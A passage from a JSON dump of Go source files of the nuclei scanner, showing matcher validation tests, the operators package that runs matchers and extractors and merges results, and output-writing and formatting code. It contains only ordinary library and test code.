len(tagParts) > 0 && tagParts[0] == tagName {\n\t\t\treturn field.Name, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"field %s not found\", tagName)\n}\n"
  },
  {
    "path": "pkg/operators/matchers/validate_test.go",
    "content": "package matchers\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestValidate(t *testing.T) {\n\tm := &Matcher{matcherType: DSLMatcher, DSL: []string{\"anything\"}}\n\n\terr := m.Validate()\n\trequire.Nil(t, err, \"Could not validate correct template\")\n\n\tm = &Matcher{matcherType: DSLMatcher, Part: \"test\"}\n\terr = m.Validate()\n\trequire.NotNil(t, err, \"Invalid template was correctly validated\")\n\n\tm = &Matcher{matcherType: XPathMatcher, XPath: []string{\"//q[@id=\\\"foo\\\"]\"}}\n\n\terr = m.Validate()\n\trequire.Nil(t, err, \"Could not validate correct XPath template\")\n\n\tm = &Matcher{matcherType: XPathMatcher, Status: []int{123}}\n\terr = m.Validate()\n\trequire.NotNil(t, err, \"Invalid XPath template was correctly validated\")\n\n\tm = &Matcher{matcherType: XPathMatcher, XPath: []string{\"//a[@a==1]\"}}\n\terr = m.Validate()\n\trequire.NotNil(t, err, \"Invalid XPath query was correctly validated\")\n}\n"
  },
  {
    "path": "pkg/operators/operators.go",
    "content": "package operators\n\nimport (\n\t\"fmt\"\n\t\"maps\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\n// Operators contains the operators that can be applied on protocols\ntype Operators struct {\n\t// description: |\n\t//   Matchers contains the detection mechanism for the request to identify\n\t//   whether the request was successful by doing pattern matching\n\t//   on request/responses.\n\t//\n\t//   Multiple matchers can be combined with `matcher-condition` flag\n\t//   which accepts either `and` or `or` as argument.\n\tMatchers []*matchers.Matcher `yaml:\"matchers,omitempty\" json:\"matchers,omitempty\" jsonschema:\"title=matchers to run on response,description=Detection mechanism to identify whether the request was successful by doing pattern matching\"`\n\t// description: |\n\t//   Extractors contains the extraction mechanism for the request to identify\n\t//   and extract parts of the response.\n\tExtractors []*extractors.Extractor `yaml:\"extractors,omitempty\" json:\"extractors,omitempty\" jsonschema:\"title=extractors to run on response,description=Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"`\n\t// description: |\n\t//   MatchersCondition is the condition between the matchers. Default is OR.\n\t// values:\n\t//   - \"and\"\n\t//   - \"or\"\n\tMatchersCondition string `yaml:\"matchers-condition,omitempty\" json:\"matchers-condition,omitempty\" jsonschema:\"title=condition between the matchers,description=Conditions between the matchers,enum=and,enum=or\"`\n\t// cached variables that may be used along with request.\n\tmatchersCondition matchers.ConditionType\n\n\t// TemplateID is the ID of the template for matcher\n\tTemplateID string `json:\"-\" yaml:\"-\" jsonschema:\"-\"`\n\t// ExcludeMatchers is a list of excludeMatchers items\n\tExcludeMatchers *excludematchers.ExcludeMatchers `json:\"-\" yaml:\"-\" jsonschema:\"-\"`\n}\n\n// Compile compiles the operators as well as their corresponding matchers and extractors\nfunc (operators *Operators) Compile() error {\n\tif operators.MatchersCondition != \"\" {\n\t\toperators.matchersCondition = matchers.ConditionTypes[operators.MatchersCondition]\n\t} else {\n\t\toperators.matchersCondition = matchers.ORCondition\n\t}\n\n\tfor _, matcher := range operators.Matchers {\n\t\tif err := matcher.CompileMatchers(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile matcher\")\n\t\t}\n\t}\n\tfor _, extractor := range operators.Extractors {\n\t\tif err := extractor.CompileExtractors(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile extractor\")\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (operators *Operators) HasDSL() bool {\n\tfor _, matcher := range operators.Matchers {\n\t\tif len(matcher.DSL) > 0 {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tfor _, extractor := range operators.Extractors {\n\t\tif len(extractor.DSL) > 0 {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// GetMatchersCondition returns the condition for the matchers\nfunc (operators *Operators) GetMatchersCondition() matchers.ConditionType {\n\treturn operators.matchersCondition\n}\n\n// Result is a result structure created from operators running on data.\ntype Result struct {\n\t// Matched is true if any matchers matched\n\tMatched bool\n\t// Extracted is true if any result type values were extracted\n\tExtracted bool\n\t// Matches is a map of matcher names that we matched\n\tMatches map[string][]string\n\t// Extracts contains all the data extracted from inputs\n\tExtracts map[string][]string\n\t// OutputExtracts is the list of extracts to be displayed on screen.\n\tOutputExtracts []string\n\toutputUnique   map[string]struct{}\n\n\t// DynamicValues contains any dynamic values to be templated\n\tDynamicValues map[string][]string\n\t// PayloadValues contains payload values provided by user. (Optional)\n\tPayloadValues map[string]interface{}\n\n\t// Optional lineCounts for file protocol\n\tLineCount string\n\t// Operators is reference to operators that generated this result (Read-Only)\n\tOperators *Operators\n}\n\nfunc (result *Result) HasMatch(name string) bool {\n\treturn result.hasItem(name, result.Matches)\n}\n\nfunc (result *Result) HasExtract(name string) bool {\n\treturn result.hasItem(name, result.Extracts)\n}\n\nfunc (result *Result) hasItem(name string, m map[string][]string) bool {\n\tfor matchName := range m {\n\t\tif strings.EqualFold(name, matchName) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// MakeDynamicValuesCallback takes an input dynamic values map and calls\n// the callback function with all variations of the data in input in form\n// of map[string]string (interface{}).\nfunc MakeDynamicValuesCallback(input map[string][]string, iterateAllValues bool, callback func(map[string]interface{}) bool) {\n\toutput := make(map[string]interface{}, len(input))\n\n\tif !iterateAllValues {\n\t\tfor k, v := range input {\n\t\t\tif len(v) > 0 {\n\t\t\t\toutput[k] = v[0]\n\t\t\t}\n\t\t}\n\t\tcallback(output)\n\t\treturn\n\t}\n\tinputIndex := make(map[string]int, len(input))\n\n\tvar maxValue int\n\tfor _, v := range input {\n\t\tif len(v) > maxValue {\n\t\t\tmaxValue = len(v)\n\t\t}\n\t}\n\n\tfor i := 0; i < maxValue; i++ {\n\t\tfor k, v := range input {\n\t\t\tif len(v) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(v) == 1 {\n\t\t\t\toutput[k] = v[0]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif gotIndex, ok := inputIndex[k]; !ok {\n\t\t\t\tinputIndex[k] = 0\n\t\t\t\toutput[k] = v[0]\n\t\t\t} else {\n\t\t\t\tnewIndex := gotIndex + 1\n\t\t\t\tif newIndex >= len(v) {\n\t\t\t\t\toutput[k] = v[len(v)-1]\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\toutput[k] = v[newIndex]\n\t\t\t\tinputIndex[k] = newIndex\n\t\t\t}\n\t\t}\n\t\t// skip if the callback says so\n\t\tif callback(output) {\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Merge merges a result structure into the other.\nfunc (r *Result) Merge(result *Result) {\n\tif !r.Matched && result.Matched {\n\t\tr.Matched = result.Matched\n\t}\n\tif !r.Extracted && result.Extracted {\n\t\tr.Extracted = result.Extracted\n\t}\n\n\tfor k, v := range result.Matches {\n\t\tr.Matches[k] = sliceutil.Dedupe(append(r.Matches[k], v...))\n\t}\n\tfor k, v := range result.Extracts {\n\t\tr.Extracts[k] = sliceutil.Dedupe(append(r.Extracts[k], v...))\n\t}\n\n\tr.outputUnique = make(map[string]struct{})\n\toutput := r.OutputExtracts\n\tr.OutputExtracts = make([]string, 0, len(output))\n\tfor _, v := range output {\n\t\tif _, ok := r.outputUnique[v]; !ok {\n\t\t\tr.outputUnique[v] = struct{}{}\n\t\t\tr.OutputExtracts = append(r.OutputExtracts, v)\n\t\t}\n\t}\n\tfor _, v := range result.OutputExtracts {\n\t\tif _, ok := r.outputUnique[v]; !ok {\n\t\t\tr.outputUnique[v] = struct{}{}\n\t\t\tr.OutputExtracts = append(r.OutputExtracts, v)\n\t\t}\n\t}\n\tfor k, v := range result.DynamicValues {\n\t\tif _, ok := r.DynamicValues[k]; !ok {\n\t\t\tr.DynamicValues[k] = v\n\t\t} else {\n\t\t\tr.DynamicValues[k] = sliceutil.Dedupe(append(r.DynamicValues[k], v...))\n\t\t}\n\t}\n\tmaps.Copy(r.PayloadValues, result.PayloadValues)\n}\n\n// MatchFunc performs matching operation for a matcher on model and returns true or false.\ntype MatchFunc func(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string)\n\n// ExtractFunc performs extracting operation for an extractor on model and returns true or false.\ntype ExtractFunc func(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{}\n\n// Execute executes the operators on data and returns a result structure\nfunc (operators *Operators) Execute(data map[string]interface{}, match MatchFunc, extract ExtractFunc, isDebug bool) (*Result, bool) {\n\tmatcherCondition := operators.GetMatchersCondition()\n\n\tvar matches bool\n\tresult := &Result{\n\t\tMatches:       make(map[string][]string),\n\t\tExtracts:      make(map[string][]string),\n\t\tDynamicValues: make(map[string][]string),\n\t\toutputUnique:  make(map[string]struct{}),\n\t\tOperators:     operators,\n\t}\n\n\t// state variable to check if all extractors are internal\n\tvar allInternalExtractors = true\n\n\t// Start with the extractors first and evaluate them.\n\tfor _, extractor := range operators.Extractors {\n\t\tif !extractor.Internal && allInternalExtractors {\n\t\t\tallInternalExtractors = false\n\t\t}\n\t\tvar extractorResults []string\n\t\tfor match := range extract(data, extractor) {\n\t\t\textractorResults = append(extractorResults, match)\n\n\t\t\tif extractor.Internal {\n\t\t\t\tif data, ok := result.DynamicValues[extractor.Name]; !ok {\n\t\t\t\t\tresult.DynamicValues[extractor.Name] = []string{match}\n\t\t\t\t} else {\n\t\t\t\t\tresult.DynamicValues[extractor.Name] = append(data, match)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif _, ok := result.outputUnique[match]; !ok {\n\t\t\t\t\tresult.OutputExtracts = append(result.OutputExtracts, match)\n\t\t\t\t\tresult.outputUnique[match] = struct{}{}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif len(extractorResults) > 0 && !extractor.Internal && extractor.Name != \"\" {\n\t\t\tresult.Extracts[extractor.Name] = extractorResults\n\t\t}\n\t\t// update data with whatever was extracted doesn't matter if it is internal or not (skip unless it empty)\n\t\tif len(extractorResults) > 0 {\n\t\t\tdata[extractor.Name] = getExtractedValue(extractorResults)\n\t\t}\n\t}\n\n\t// expose dynamic values to same request matchers\n\tif len(result.DynamicValues) > 0 {\n\t\tdataDynamicValues := make(map[string]interface{})\n\t\tfor dynName, dynValues := range result.DynamicValues {\n\t\t\tif len(dynValues) > 1 {\n\t\t\t\tfor dynIndex, dynValue := range dynValues {\n\t\t\t\t\tdynKeyName := fmt.Sprintf(\"%s%d\", dynName, dynIndex)\n\t\t\t\t\tdataDynamicValues[dynKeyName] = dynValue\n\t\t\t\t}\n\t\t\t\tdataDynamicValues[dynName] = dynValues\n\t\t\t} else {\n\t\t\t\tdataDynamicValues[dynName] = dynValues[0]\n\t\t\t}\n\n\t\t}\n\t\tdata = generators.MergeMaps(data, dataDynamicValues)\n\t}\n\n\tfor matcherIndex, matcher := range operators.Matchers {\n\t\t// Skip matchers that are in the blocklist\n\t\tif operators.ExcludeMatchers != nil {\n\t\t\tif operators.ExcludeMatchers.Match(operators.TemplateID, matcher.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif isMatch, matched := match(data, matcher); isMatch {\n\t\t\tif isDebug { // matchers without an explicit name or with AND condition should only be made visible if debug is enabled\n\t\t\t\tmatcherName := GetMatcherName(matcher, matcherIndex)\n\t\t\t\tresult.Matches[matcherName] = matched\n\t\t\t} else { // if it's a \"named\" matcher with OR condition, then display it\n\t\t\t\tif matcherCondition == matchers.ORCondition && matcher.Name != \"\" {\n\t\t\t\t\tresult.Matches[matcher.Name] = matched\n\t\t\t\t}\n\t\t\t}\n\t\t\tmatches = true\n\t\t} else if matcherCondition == matchers.ANDCondition {\n\t\t\tif len(result.DynamicValues) > 0 {\n\t\t\t\treturn result, true\n\t\t\t}\n\t\t\treturn result, false\n\t\t}\n\t}\n\n\tresult.Matched = matches\n\tresult.Extracted = len(result.OutputExtracts) > 0\n\tif len(result.DynamicValues) > 0 && allInternalExtractors {\n\t\t// only return early if all extractors are internal\n\t\t// if some are internal and some are not then followthrough\n\t\treturn result, true\n\t}\n\n\t// Don't print if we have matchers, and they have not matched, regardless of extractor\n\tif len(operators.Matchers) > 0 && !matches {\n\t\t// if dynamic values are present then it is not a failure\n\t\tif len(result.DynamicValues) > 0 {\n\t\t\treturn result, true\n\t\t}\n\t\treturn nil, false\n\t}\n\t// Write a final string of output if matcher type is\n\t// AND or if we have extractors for the mechanism too.\n\tif len(result.Extracts) > 0 || len(result.OutputExtracts) > 0 || matches {\n\t\treturn result, true\n\t}\n\t// if dynamic values are present then it is not a failure\n\tif len(result.DynamicValues) > 0 {\n\t\treturn result, true\n\t}\n\treturn nil, false\n}\n\n// GetMatcherName returns matchername of given matcher\nfunc GetMatcherName(matcher *matchers.Matcher, matcherIndex int) string {\n\tif matcher.Name != \"\" {\n\t\treturn matcher.Name\n\t} else {\n\t\treturn matcher.Type.String() + \"-\" + strconv.Itoa(matcherIndex+1) // making the index start from 1 to be more readable\n\t}\n}\n\n// ExecuteInternalExtractors executes internal dynamic extractors\nfunc (operators *Operators) ExecuteInternalExtractors(data map[string]interface{}, extract ExtractFunc) map[string]interface{} {\n\tdynamicValues := make(map[string]interface{})\n\n\t// Start with the extractors first and evaluate them.\n\tfor _, extractor := range operators.Extractors {\n\t\tif !extractor.Internal {\n\t\t\tcontinue\n\t\t}\n\t\tfor match := range extract(data, extractor) {\n\t\t\tif _, ok := dynamicValues[extractor.Name]; !ok {\n\t\t\t\tdynamicValues[extractor.Name] = match\n\t\t\t}\n\t\t}\n\t}\n\treturn dynamicValues\n}\n\n// IsEmpty determines if the operator has matchers or extractors\nfunc (operators *Operators) IsEmpty() bool {\n\treturn operators.Len() == 0\n}\n\n// Len calculates the sum of the number of matchers and extractors\nfunc (operators *Operators) Len() int {\n\treturn len(operators.Matchers) + len(operators.Extractors)\n}\n\n// getExtractedValue takes array of extracted values if it only has one value\n// then it is flattened and returned as a string else original type is returned\nfunc getExtractedValue(values []string) any {\n\tif len(values) == 1 {\n\t\treturn values[0]\n\t} else {\n\t\treturn values\n\t}\n}\n\n// EvalBoolSlice evaluates a slice of bools using a logical AND\nfunc EvalBoolSlice(slice []bool, isAnd bool) bool {\n\tif len(slice) == 0 {\n\t\treturn false\n\t}\n\n\tresult := slice[0]\n\tfor _, b := range slice[1:] {\n\t\tif isAnd {\n\t\t\tresult = result && b\n\t\t} else {\n\t\t\tresult = result || b\n\t\t}\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "pkg/operators/operators_test.go",
    "content": "package operators\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMakeDynamicValuesCallback(t *testing.T) {\n\tinput := map[string][]string{\n\t\t\"a\": {\"1\", \"2\"},\n\t\t\"b\": {\"3\"},\n\t\t\"c\": {},\n\t\t\"d\": {\"A\", \"B\", \"C\"},\n\t}\n\n\tcount := 0\n\tMakeDynamicValuesCallback(input, true, func(data map[string]interface{}) bool {\n\t\tcount++\n\t\trequire.Len(t, data, 3, \"could not get correct output length\")\n\t\treturn false\n\t})\n\trequire.Equal(t, 3, count, \"could not get correct result count\")\n\n\tt.Run(\"all\", func(t *testing.T) {\n\t\tinput := map[string][]string{\n\t\t\t\"a\": {\"1\"},\n\t\t\t\"b\": {\"2\"},\n\t\t\t\"c\": {\"3\"},\n\t\t}\n\n\t\tcount := 0\n\t\tMakeDynamicValuesCallback(input, true, func(data map[string]interface{}) bool {\n\t\t\tcount++\n\t\t\trequire.Len(t, data, 3, \"could not get correct output length\")\n\t\t\treturn false\n\t\t})\n\t\trequire.Equal(t, 1, count, \"could not get correct result count\")\n\t})\n\n\tt.Run(\"first\", func(t *testing.T) {\n\t\tinput := map[string][]string{\n\t\t\t\"a\": {\"1\", \"2\"},\n\t\t\t\"b\": {\"3\"},\n\t\t\t\"c\": {},\n\t\t\t\"d\": {\"A\", \"B\", \"C\"},\n\t\t}\n\n\t\tcount := 0\n\t\tMakeDynamicValuesCallback(input, false, func(data map[string]interface{}) bool {\n\t\t\tcount++\n\t\t\trequire.Len(t, data, 3, \"could not get correct output length\")\n\t\t\treturn false\n\t\t})\n\t\trequire.Equal(t, 1, count, \"could not get correct result count\")\n\t})\n}\n"
  },
  {
    "path": "pkg/output/doc.go",
    "content": "// Package output implements output writing interfaces for nuclei.\npackage output\n"
  },
  {
    "path": "pkg/output/file_output_writer.go",
    "content": "package output\n\nimport (\n\t\"os\"\n\t\"sync\"\n)\n\n// fileWriter is a concurrent file based output writer.\ntype fileWriter struct {\n\tfile *os.File\n\tmu   sync.Mutex\n}\n\n// NewFileOutputWriter creates a new buffered writer for a file\nfunc newFileOutputWriter(file string, resume bool) (*fileWriter, error) {\n\tvar output *os.File\n\tvar err error\n\tif resume {\n\t\toutput, err = os.OpenFile(file, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\t} else {\n\t\toutput, err = os.Create(file)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &fileWriter{file: output}, nil\n}\n\n// WriteString writes an output to the underlying file\nfunc (w *fileWriter) Write(data []byte) (int, error) {\n\tw.mu.Lock()\n\tdefer w.mu.Unlock()\n\tif _, err := w.file.Write(data); err != nil {\n\t\treturn 0, err\n\t}\n\tif _, err := w.file.Write([]byte(\"\\n\")); err != nil {\n\t\treturn 0, err\n\t}\n\treturn len(data) + 1, nil\n}\n\n// Close closes the underlying writer flushing everything to disk\nfunc (w *fileWriter) Close() error {\n\tw.mu.Lock()\n\tdefer w.mu.Unlock()\n\t//nolint:errcheck // we don't care whether sync failed or succeeded.\n\tw.file.Sync()\n\treturn w.file.Close()\n}\n"
  },
  {
    "path": "pkg/output/format_json.go",
    "content": "package output\n\nimport (\n\tjsoniter \"github.com/json-iterator/go\"\n)\n\n// formatJSON formats the output for json based formatting\nfunc (w *StandardWriter) formatJSON(output *ResultEvent) ([]byte, error) {\n\tif !w.jsonReqResp { // don't show request-response in json if not asked\n\t\toutput.Request = \"\"\n\t\toutput.Response = \"\"\n\t}\n\treturn jsoniter.Marshal(output)\n}\n"
  },
  {
    "path": "pkg/output/format_screen.go",
    "content": "package output\n\nimport (\n\t\"bytes\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// formatScreen formats the output for showing on screen.\nfunc (w *StandardWriter) formatScreen(output *ResultEvent) []byte {\n\tbuilder := &bytes.Buffer{}\n\n\tif !w.noMetadata {\n\t\tif w.timestamp {\n\t\t\tbuilder.WriteRune('[')\n\t\t\tbuilder.WriteString(w.aurora.Cyan(output.Timestamp.Format(\"2006-01-02 15:04:05\")).String())\n\t\t\tbuilder.WriteString(\"] \")\n\t\t}\n\t\tbuilder.WriteRune('[')\n\t\tbuilder.WriteString(w.aurora.BrightGreen(output.TemplateID).String())\n\n\t\tif output.MatcherName != \"\" {\n\t\t\tbuilder.WriteString(\":\")\n\t\t\tbuilder.WriteString(w.aurora.BrightGreen(output.MatcherName).Bold().String())\n\t\t} else if output.ExtractorName != \"\" {\n\t\t\tbuilder.WriteString(\":\")\n\t\t\tbuilder.WriteString(w.aurora.BrightGreen(output.ExtractorName).Bold().String())\n\t\t}\n\n\t\tif w.matcherStatus {\n\t\t\tbuilder.WriteString(\"] [\")\n\t\t\tif !output.MatcherStatus {\n\t\t\t\tbuilder.WriteString(w.aurora.Red(\"failed\").String())\n\t\t\t} else {\n\t\t\t\tbuilder.WriteString(w.aurora.Green(\"matched\").String())\n\t\t\t}\n\t\t}\n\n\t\tif output.GlobalMatchers {\n\t\t\tbuilder.WriteString(\"] [\")\n\t\t\tbuilder.WriteString(w.aurora.BrightMagenta(\"global\").String())\n\t\t}\n\n\t\tbuilder.WriteString(\"] [\")\n\t\tbuilder.WriteString(w.aurora.BrightBlue(output.Type).String())\n\t\tbuilder.WriteString(\"] \")\n\n\t\tbuilder.WriteString(\"[\")\n\t\tbuilder.WriteString(w.severityColors(output.Info.SeverityHolder.Severity))\n\t\tbuilder.WriteString(\"] \")\n\t}\n\tif output.Matched != \"\" {\n\t\tbuilder.WriteString(output.Matched)\n\t} else {\n\t\tbuilder.WriteString(output.Host)\n\t}\n\n\t// If any extractors, write the results\n\tif len(output.ExtractedResults) > 0 {\n\t\tbuilder.WriteString(\" [\")\n\n\t\tfor i, item := range output.ExtractedResults {\n\t\t\t// trim trailing space\n\t\t\t// quote non-ascii and non printable characters and then\n\t\t\t// unquote quotes (`\"`) for readability\n\t\t\titem = strings.TrimSpace(item)\n\t\t\titem = strconv.QuoteToASCII(item)\n\t\t\titem = strings.ReplaceAll(item, `\\\"`, `\"`)\n\n\t\t\tbuilder.WriteString(w.aurora.BrightCyan(item).String())\n\n\t\t\tif i != len(output.ExtractedResults)-1 {\n\t\t\t\tbuilder.WriteRune(',')\n\t\t\t}\n\t\t}\n\t\tbuilder.WriteString(\"]\")\n\t}\n\n\tif len(output.Lines) > 0 {\n\t\tbuilder.WriteString(\" [LN: \")\n\n\t\tfor i, line := range output.Lines {\n\t\t\tbuilder.WriteString(strconv.Itoa(line))\n\n\t\t\tif i != len(output.Lines)-1 {\n\t\t\t\tbuilder.WriteString(\",\")\n\t\t\t}\n\t\t}\n\t\tbuilder.WriteString(\"]\")\n\t}\n\n\t// Write meta if any\n\tif len(output.Metadata) > 0 {\n\t\tbuilder.WriteString(\" [\")\n\n\t\tfirst := true\n\t\t// sort to get predictable output\n\t\tfor _, name := range mapsutil.GetSortedKeys(output.Metadata) {\n\t\t\tvalue := output.Metadata[name]\n\t\t\tif !first {\n\t\t\t\tbuilder.WriteRune(',')\n\t\t\t}\n\t\t\tfirst = false\n\n\t\t\tbuilder.WriteString(w.aurora.BrightYellow(name).String())\n\t\t\tbuilder.WriteRune('=')\n\t\t\tbuilder.WriteString(w.aurora.BrightYellow(strconv.QuoteToASCII(types.ToString(value))).String())\n\t\t}\n\t\tbuilder.WriteString(\"]\")\n\t}\n\n\t// If it is a fuzzing output, enrich with additional\n\t// metadata for the match.\n\tif output.IsFuzzingResult {\n\t\tif output.FuzzingParameter != \"\" {\n\t\t\tbuilder.WriteString(\" [\")\n\t\t\tbuilder.WriteString(output.FuzzingPosition)\n\t\t\tbuilder.WriteRune(':')\n\t\t\tbuilder.WriteString(w.aurora.BrightMagenta(output.FuzzingParameter).String())\n\t\t\tbuilder.WriteString(\"]\")\n\t\t}\n\n\t\tbuilder.WriteString(\" [\")\n\t\tbuilder.WriteString(output.FuzzingMethod)\n\t\tbuilder.WriteString(\"]\")\n\t}\n\treturn builder.Bytes()\n}\n"
  },
  {
    "path": "pkg/output/multi_writer.go",
    "content": "package output\n\nimport (\n\t\"github.com/logrusorgru/aurora\"\n)\n\ntype MultiWriter struct {\n\twriters []Writer\n}\n\nvar _ Writer = &MultiWriter{}\n\n// NewMultiWriter creates a new MultiWriter instance\nfunc NewMultiWriter(writers ...Writer) *MultiWriter {\n\treturn &MultiWriter{writers: writers}\n}\n\nfunc (mw *MultiWriter) Close() {\n\tfor _, writer := range mw.writers {\n\t\twriter.Close()\n\t}\n}\n\nfunc (mw *MultiWriter) Colorizer() aurora.Aurora {\n\t// Return the colorizer of the first writer\n\tif len(mw.writers) > 0 {\n\t\treturn mw.writers[0].Colorizer()\n\t}\n\t// Default to a no-op colorizer\n\treturn aurora.NewAurora(false)\n}\n\nfunc (mw *MultiWriter) Write(event *ResultEvent) error {\n\tfor _, writer := range mw.writers {\n\t\tif err := writer.Write(event); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (mw *MultiWriter) WriteFailure(event *InternalWrappedEvent) error {\n\tfor _, writer := range mw.writers {\n\t\tif err := writer.WriteFailure(event); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (mw *MultiWriter) Request(templateID, url, requestType string, err error) {\n\tfor _, writer := range mw.writers {\n\t\twriter.Request(templateID, url, requestType, err)\n\t}\n}\n\nfunc (mw *MultiWriter) WriteStoreDebugData(host, templateID, eventType string, data string) {\n\tfor _, writer := range mw.writers {\n\t\twriter.WriteStoreDebugData(host, templateID, eventType, data)\n\t}\n}\n\nfunc (mw *MultiWriter) RequestStatsLog(statusCode, response string) {\n\tfor _, writer := range mw.writers {\n\t\twriter.RequestStatsLog(statusCode, response)\n\t}\n}\n\nfunc (mw *MultiWriter) ResultCount() int {\n\tcount := 0\n\tfor _, writer := range mw.writers {\n\t\tif count := writer.ResultCount(); count > 0 {\n\t\t\treturn count\n\t\t}\n\t}\n\treturn count\n}\n"
  },
  {
    "path": "pkg/output/output.go",
    "content": "package output\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"maps\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"go.uber.org/multierr\"\n\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/interactsh/pkg/server\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/colorizer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\tprotocolUtils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Writer is an interface which writes output to somewhere for nuclei events.\ntype Writer interface {\n\t// Close closes the output writer interface\n\tClose()\n\t// Colorizer returns the colorizer instance for writer\n\tColorizer() aurora.Aurora\n\t// Write writes the event to file and/or screen.\n\tWrite(*ResultEvent) error\n\t// WriteFailure writes the optional failure event for template to file and/or screen.\n\tWriteFailure(*InternalWrappedEvent) error\n\t// Request logs a request in the trace log\n\tRequest(templateID, url, requestType string, err error)\n\t// RequestStatsLog logs a request stats log\n\tRequestStatsLog(statusCode, response string)\n\t//  WriteStoreDebugData writes the request/response debug data to file\n\tWriteStoreDebugData(host, templateID, eventType string, data string)\n\t// ResultCount returns the total number of results written\n\tResultCount() int\n}\n\n// StandardWriter is a writer writing output to file and screen for results.\ntype StandardWriter struct {\n\tjson                  bool\n\tjsonReqResp           bool\n\ttimestamp             bool\n\tnoMetadata            bool\n\tmatcherStatus         bool\n\tmutex                 *sync.Mutex\n\taurora                aurora.Aurora\n\toutputFile            io.WriteCloser\n\ttraceFile             io.WriteCloser\n\terrorFile             io.WriteCloser\n\tseverityColors        func(severity.Severity) string\n\tstoreResponse         bool\n\tstoreResponseDir      string\n\tomitTemplate          bool\n\tDisableStdout         bool\n\tAddNewLinesOutputFile bool // by default this is only done for stdout\n\tKeysToRedact          []string\n\n\t// JSONLogRequestHook is a hook that can be used to log request/response\n\t// when using custom server code with output\n\tJSONLogRequestHook func(*JSONLogRequest)\n\n\tresultCount atomic.Int32\n}\n\nvar _ Writer = &StandardWriter{}\n\nvar decolorizerRegex = regexp.MustCompile(`\\x1B\\[[0-9;]*[a-zA-Z]`)\n\n// InternalEvent is an internal output generation structure for nuclei.\ntype InternalEvent map[string]interface{}\n\nfunc (ie InternalEvent) Set(k string, v interface{}) {\n\tie[k] = v\n}\n\n// InternalWrappedEvent is a wrapped event with operators result added to it.\ntype InternalWrappedEvent struct {\n\t// Mutex is internal field which is implicitly used\n\t// to synchronize callback(event) and interactsh polling updates\n\t// Refer protocols/http.Request.ExecuteWithResults for more details\n\tsync.RWMutex\n\n\tInternalEvent   InternalEvent\n\tResults         []*ResultEvent\n\tOperatorsResult *operators.Result\n\tUsesInteractsh  bool\n\t// Only applicable if interactsh is used\n\t// This is used to avoid duplicate successful interactsh events\n\tInteractshMatched atomic.Bool\n}\n\nfunc (iwe *InternalWrappedEvent) CloneShallow() *InternalWrappedEvent {\n\treturn &InternalWrappedEvent{\n\t\tInternalEvent:   maps.Clone(iwe.InternalEvent),\n\t\tResults:         nil,\n\t\tOperatorsResult: nil,\n\t\tUsesInteractsh:  iwe.UsesInteractsh,\n\t}\n}\n\nfunc (iwe *InternalWrappedEvent) HasOperatorResult() bool {\n\tiwe.RLock()\n\tdefer iwe.RUnlock()\n\n\treturn iwe.OperatorsResult != nil\n}\n\nfunc (iwe *InternalWrappedEvent) HasResults() bool {\n\tiwe.RLock()\n\tdefer iwe.RUnlock()\n\n\treturn len(iwe.Results) > 0\n}\n\nfunc (iwe 